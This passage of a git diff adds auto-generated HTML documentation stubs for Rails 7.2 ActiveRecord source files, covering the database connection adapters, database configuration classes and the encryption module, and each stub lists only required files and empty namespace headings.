  • active_record/connection_adapters/postgresql/schema_definitions
  • + +
  • active_record/connection_adapters/postgresql/schema_dumper
  • + +
  • active_record/connection_adapters/postgresql/schema_statements
  • + +
  • active_record/connection_adapters/postgresql/type_metadata
  • + +
  • active_record/connection_adapters/postgresql/utils
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/schema_cache_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/schema_cache_rb.html new file mode 100644 index 0000000000..3b3a82eab6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/schema_cache_rb.html @@ -0,0 +1,93 @@ +--- +title: schema_cache.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/file/atomic
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sql_type_metadata_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sql_type_metadata_rb.html new file mode 100644 index 0000000000..2bf797d711 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sql_type_metadata_rb.html @@ -0,0 +1,79 @@ +--- +title: sql_type_metadata.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/column_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/column_rb.html new file mode 100644 index 0000000000..a5a299cf2d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/column_rb.html @@ -0,0 +1,74 @@ +--- +title: column.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements_rb.html new file mode 100644 index 0000000000..223ec6c3e6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/database_statements_rb.html @@ -0,0 +1,78 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer_rb.html new file mode 100644 index 0000000000..5377865fbc --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/explain_pretty_printer_rb.html @@ -0,0 +1,74 @@ +--- +title: explain_pretty_printer.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/quoting_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/quoting_rb.html new file mode 100644 index 0000000000..603bcd26b6 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/quoting_rb.html @@ -0,0 +1,74 @@ +--- +title: quoting.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation_rb.html new file mode 100644 index 0000000000..db42eaec97 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_creation_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_creation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions_rb.html new file mode 100644 index 0000000000..97eddfec41 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_definitions_rb.html @@ -0,0 +1,81 @@ +--- +title: schema_definitions.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper_rb.html new file mode 100644 index 0000000000..68c9a7834c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_dumper_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_dumper.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements_rb.html new file mode 100644 index 0000000000..74a1d03730 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3/schema_statements_rb.html @@ -0,0 +1,74 @@ +--- +title: schema_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3_adapter_rb.html new file mode 100644 index 0000000000..377e572917 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/sqlite3_adapter_rb.html @@ -0,0 +1,111 @@ +--- +title: sqlite3_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/connection_adapters/abstract_adapter
  • + +
  • active_record/connection_adapters/statement_pool
  • + +
  • active_record/connection_adapters/sqlite3/column
  • + +
  • active_record/connection_adapters/sqlite3/explain_pretty_printer
  • + +
  • active_record/connection_adapters/sqlite3/quoting
  • + +
  • active_record/connection_adapters/sqlite3/database_statements
  • + +
  • active_record/connection_adapters/sqlite3/schema_creation
  • + +
  • active_record/connection_adapters/sqlite3/schema_definitions
  • + +
  • active_record/connection_adapters/sqlite3/schema_dumper
  • + +
  • active_record/connection_adapters/sqlite3/schema_statements
  • + +
  • sqlite3
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/statement_pool_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/statement_pool_rb.html new file mode 100644 index 0000000000..fbc1ad9ac5 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/statement_pool_rb.html @@ -0,0 +1,72 @@ +--- +title: statement_pool.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy/database_statements_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy/database_statements_rb.html new file mode 100644 index 0000000000..a4faa9dce3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy/database_statements_rb.html @@ -0,0 +1,76 @@ +--- +title: database_statements.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy_adapter_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy_adapter_rb.html new file mode 100644 index 0000000000..006ac69c15 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters/trilogy_adapter_rb.html @@ -0,0 +1,93 @@ +--- +title: trilogy_adapter.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_record/connection_adapters/abstract_mysql_adapter
  • + +
  • trilogy
  • + +
  • active_record/connection_adapters/trilogy/database_statements
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_adapters_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_adapters_rb.html new file mode 100644 index 0000000000..b255e60ead --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_adapters_rb.html @@ -0,0 +1,80 @@ +--- +title: connection_adapters.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/filters
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/connection_handling_rb.html b/src/7.2/files/activerecord/lib/active_record/connection_handling_rb.html new file mode 100644 index 0000000000..a16c1d824f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/connection_handling_rb.html @@ -0,0 +1,74 @@ +--- +title: connection_handling.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/core_rb.html b/src/7.2/files/activerecord/lib/active_record/core_rb.html new file mode 100644 index 0000000000..7eacfb8770 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/core_rb.html @@ -0,0 +1,101 @@ +--- +title: core.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/module/delegation
  • + +
  • active_support/parameter_filter
  • + +
  • concurrent/map
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/counter_cache_rb.html b/src/7.2/files/activerecord/lib/active_record/counter_cache_rb.html new file mode 100644 index 0000000000..a056227e23 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/counter_cache_rb.html @@ -0,0 +1,74 @@ +--- +title: counter_cache.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/database_configurations/connection_url_resolver_rb.html b/src/7.2/files/activerecord/lib/active_record/database_configurations/connection_url_resolver_rb.html new file mode 100644 index 0000000000..34cb56eebb --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/database_configurations/connection_url_resolver_rb.html @@ -0,0 +1,91 @@ +--- +title: connection_url_resolver.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • uri
  • + +
  • active_support/core_ext/enumerable
  • + +
  • active_support/core_ext/hash/reverse_merge
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/database_configurations/database_config_rb.html b/src/7.2/files/activerecord/lib/active_record/database_configurations/database_config_rb.html new file mode 100644 index 0000000000..36d1abe44c --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/database_configurations/database_config_rb.html @@ -0,0 +1,79 @@ +--- +title: database_config.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/database_configurations/hash_config_rb.html b/src/7.2/files/activerecord/lib/active_record/database_configurations/hash_config_rb.html new file mode 100644 index 0000000000..e51dce5c04 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/database_configurations/hash_config_rb.html @@ -0,0 +1,79 @@ +--- +title: hash_config.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/database_configurations/url_config_rb.html b/src/7.2/files/activerecord/lib/active_record/database_configurations/url_config_rb.html new file mode 100644 index 0000000000..3a801e18d0 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/database_configurations/url_config_rb.html @@ -0,0 +1,79 @@ +--- +title: url_config.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/database_configurations_rb.html b/src/7.2/files/activerecord/lib/active_record/database_configurations_rb.html new file mode 100644 index 0000000000..bc8b9095df --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/database_configurations_rb.html @@ -0,0 +1,97 @@ +--- +title: database_configurations.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • uri
  • + +
  • active_record/database_configurations/database_config
  • + +
  • active_record/database_configurations/hash_config
  • + +
  • active_record/database_configurations/url_config
  • + +
  • active_record/database_configurations/connection_url_resolver
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/delegated_type_rb.html b/src/7.2/files/activerecord/lib/active_record/delegated_type_rb.html new file mode 100644 index 0000000000..1eb6aa2001 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/delegated_type_rb.html @@ -0,0 +1,80 @@ +--- +title: delegated_type.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/core_ext/string/inquiry
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/deprecator_rb.html b/src/7.2/files/activerecord/lib/active_record/deprecator_rb.html new file mode 100644 index 0000000000..a11d92618b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/deprecator_rb.html @@ -0,0 +1,72 @@ +--- +title: deprecator.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/destroy_association_async_job_rb.html b/src/7.2/files/activerecord/lib/active_record/destroy_association_async_job_rb.html new file mode 100644 index 0000000000..b2de3be023 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/destroy_association_async_job_rb.html @@ -0,0 +1,81 @@ +--- +title: destroy_association_async_job.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/disable_joins_association_relation_rb.html b/src/7.2/files/activerecord/lib/active_record/disable_joins_association_relation_rb.html new file mode 100644 index 0000000000..4d4368a638 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/disable_joins_association_relation_rb.html @@ -0,0 +1,70 @@ +--- +title: disable_joins_association_relation.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/dynamic_matchers_rb.html b/src/7.2/files/activerecord/lib/active_record/dynamic_matchers_rb.html new file mode 100644 index 0000000000..5129a5f72f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/dynamic_matchers_rb.html @@ -0,0 +1,83 @@ +--- +title: dynamic_matchers.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/auto_filtered_parameters_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/auto_filtered_parameters_rb.html new file mode 100644 index 0000000000..ca1d07a547 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/auto_filtered_parameters_rb.html @@ -0,0 +1,79 @@ +--- +title: auto_filtered_parameters.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/cipher/aes256_gcm_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/cipher/aes256_gcm_rb.html new file mode 100644 index 0000000000..ca75d3a811 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/cipher/aes256_gcm_rb.html @@ -0,0 +1,91 @@ +--- +title: aes256_gcm.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/cipher_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/cipher_rb.html new file mode 100644 index 0000000000..6e0f611b53 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/cipher_rb.html @@ -0,0 +1,79 @@ +--- +title: cipher.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/config_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/config_rb.html new file mode 100644 index 0000000000..1c439c92ec --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/config_rb.html @@ -0,0 +1,89 @@ +--- +title: config.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • openssl
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/configurable_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/configurable_rb.html new file mode 100644 index 0000000000..7eec360ed2 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/configurable_rb.html @@ -0,0 +1,74 @@ +--- +title: configurable.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/context_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/context_rb.html new file mode 100644 index 0000000000..bd3d620f24 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/context_rb.html @@ -0,0 +1,79 @@ +--- +title: context.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/contexts_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/contexts_rb.html new file mode 100644 index 0000000000..58610a510b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/contexts_rb.html @@ -0,0 +1,74 @@ +--- +title: contexts.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/derived_secret_key_provider_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/derived_secret_key_provider_rb.html new file mode 100644 index 0000000000..398fad1423 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/derived_secret_key_provider_rb.html @@ -0,0 +1,79 @@ +--- +title: derived_secret_key_provider.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/deterministic_key_provider_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/deterministic_key_provider_rb.html new file mode 100644 index 0000000000..40f12cbc20 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/deterministic_key_provider_rb.html @@ -0,0 +1,79 @@ +--- +title: deterministic_key_provider.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/encryptable_record_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/encryptable_record_rb.html new file mode 100644 index 0000000000..4f2d6f663f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/encryptable_record_rb.html @@ -0,0 +1,74 @@ +--- +title: encryptable_record.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_attribute_type_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_attribute_type_rb.html new file mode 100644 index 0000000000..688af472ce --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_attribute_type_rb.html @@ -0,0 +1,85 @@ +--- +title: encrypted_attribute_type.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_fixtures_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_fixtures_rb.html new file mode 100644 index 0000000000..4f498e15fc --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/encrypted_fixtures_rb.html @@ -0,0 +1,74 @@ +--- +title: encrypted_fixtures.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/encrypting_only_encryptor_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/encrypting_only_encryptor_rb.html new file mode 100644 index 0000000000..762a107225 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/encrypting_only_encryptor_rb.html @@ -0,0 +1,79 @@ +--- +title: encrypting_only_encryptor.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/encryptor_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/encryptor_rb.html new file mode 100644 index 0000000000..2728bb963b --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/encryptor_rb.html @@ -0,0 +1,91 @@ +--- +title: encryptor.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • openssl
  • + +
  • zlib
  • + +
  • active_support/core_ext/numeric
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/envelope_encryption_key_provider_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/envelope_encryption_key_provider_rb.html new file mode 100644 index 0000000000..3412ef0e5f --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/envelope_encryption_key_provider_rb.html @@ -0,0 +1,79 @@ +--- +title: envelope_encryption_key_provider.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/errors_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/errors_rb.html new file mode 100644 index 0000000000..2934cabe5d --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/errors_rb.html @@ -0,0 +1,93 @@ +--- +title: errors.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_queries_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_queries_rb.html new file mode 100644 index 0000000000..93424ada6e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_queries_rb.html @@ -0,0 +1,87 @@ +--- +title: extended_deterministic_queries.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator_rb.html new file mode 100644 index 0000000000..f0c2f0d2e7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/extended_deterministic_uniqueness_validator_rb.html @@ -0,0 +1,76 @@ +--- +title: extended_deterministic_uniqueness_validator.rb +layout: default +--- +
+ + +
+ + +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/key_generator_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/key_generator_rb.html new file mode 100644 index 0000000000..93f9fca7bb --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/key_generator_rb.html @@ -0,0 +1,89 @@ +--- +title: key_generator.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • securerandom
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/key_provider_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/key_provider_rb.html new file mode 100644 index 0000000000..4b11ad70c3 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/key_provider_rb.html @@ -0,0 +1,79 @@ +--- +title: key_provider.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/key_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/key_rb.html new file mode 100644 index 0000000000..8bf8a3c47e --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/key_rb.html @@ -0,0 +1,81 @@ +--- +title: key.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/message_pack_message_serializer_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/message_pack_message_serializer_rb.html new file mode 100644 index 0000000000..cc6f805ad7 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/message_pack_message_serializer_rb.html @@ -0,0 +1,91 @@ +--- +title: message_pack_message_serializer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • active_support/message_pack
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/message_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/message_rb.html new file mode 100644 index 0000000000..cce06ffd93 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/message_rb.html @@ -0,0 +1,81 @@ +--- +title: message.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/message_serializer_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/message_serializer_rb.html new file mode 100644 index 0000000000..7743b8dd50 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/message_serializer_rb.html @@ -0,0 +1,89 @@ +--- +title: message_serializer.rb +layout: default +--- +
+ + +
+
+ + + + +

Required Files

+
    + +
  • base64
  • + +
+ + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/files/activerecord/lib/active_record/encryption/null_encryptor_rb.html b/src/7.2/files/activerecord/lib/active_record/encryption/null_encryptor_rb.html new file mode 100644 index 0000000000..a2f91b6e79 --- /dev/null +++ b/src/7.2/files/activerecord/lib/active_record/encryption/null_encryptor_rb.html @@ -0,0 +1,79 @@ +--- +title: null_encryptor.rb +layout: default +--- +
+ + +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + +

Class

+ + + + + + + + + + + + + + + + + + + + + + +
+ +
+
